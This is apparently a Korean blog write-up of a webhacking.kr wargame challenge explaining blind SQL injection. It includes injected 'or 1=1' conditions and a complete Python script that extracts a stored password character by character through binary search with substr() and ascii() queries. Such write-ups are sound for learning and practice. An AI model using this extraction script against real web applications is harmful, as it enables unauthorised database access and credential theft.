Blind SQL Injection은 Query의 참/거짓을 통해 원하는 정보를 얻어내는 기법입니다.

해당 문제에서 친절하게 "Result"로 결과를 알려주고 있습니다.



해당 칸에 숫자 1을 입력해보니 True라는 값이 나옵니다.



2를 입력해도 True를 반환합니다.



3을 입력해보면 False라고 나오게 됩니다.

숫자를 입력해본 이유는 URL을 보게 되면 no라는 칼럼에 인자로 넘어가는 것을 통해서 숫자를 사용해야 한다고 짐작해 볼 수 있습니다.

Query를 예상해보면 

select * from table_name where no=3 이렇게 where절에서 조건으로 들어갈 것이라고 생각됩니다.



그렇다면 Fasle가 나왔던 3뒤에 or 1=1를 덧붙이게 되면 항상 참이 되므로 True를 반환하게 됩니다.

select * from table_name where no=3 or 1=1

이점을 이용해서 문제를 해결 할 수 있습니다.



우선 찾고자 하는 칼럼 이름에 대해 알아야 하는데 친절하게도 URL과 소스에서 찾을 수 있습니다.

소스를 보시면 id/pw가 hidden type으로 no와 함께 전송되는 것을 알 수 있습니다.



또 하나 생각해 볼 내용은 1과 2에서 True를 반환했다는 것은 두개의 값만 가지고 있다고 생각해 볼 수 있습니다.

우선 1에 대해 pw의 길이를 length() 함수를 통해서 구할 수 있습니다.



길이를 구했으면 해당 값을 하나씩 나눠서 구해야 합니다.

substr()과 ascii()를 이용해서 값을 하나씩 구할 수 있습니다.

substr(변수, 시작 인덱스, 길이) : 해당 변수를 시작 인덱스부터 정해진 길이까지만 반환

ascii() : 특정 문자를 ASCII CODE값으로 변환



다음 내용을 토대로 Python코드를 만들었습니다.

일일이 대입해서 풀 수 있지만 너무 오래 걸리기에 2진 탐색을 이용하여 풀었습니다.

 

1은 guest이었고, 2가 필요한 내용을 가지고 있었습니다.

또한 길이를 구하는 코드는 입력하지 않았습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
 
cookies = {'PHPSESSID':'YourSessionValue'}
url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php?"
 
password = ""
for i in range(1,20):       
    start = 1
    end   = 127
    while True:
        mid = int((start+end)/2)
 
        query = "no=2 and ascii(substr(pw,{0},1))>{1}".format(i,mid)
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)    
        if((res.text).find("True")>0):
            start = mid+1
            continue
 
        query = "no=2 and ascii(substr(pw,{0},1))<{1}".format(i,mid)
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)    
        if((res.text).find("True")>0):
            end = mid-1
            continue
 
 
        query = "no=2 and ascii(substr(pw,{0},1))={1}".format(i,mid)
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)    
        if((res.text).find("True")>0):
            password += chr(mid)
            break
 
print ("password : "+password)
cs

(함수로 만들 수 있겠지만... 지역변수/전역변수 문제로 포기..)


'WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob 27  (0) 2018.12.05
[webhacking.kr] prob 26  (0) 2018.12.05
[webhacking.kr] prob 20  (0) 2018.12.04
[webhacking.kr] prob 17  (0) 2018.12.04
[webhacking.kr] prob 16  (0) 2018.12.04

+ Recent posts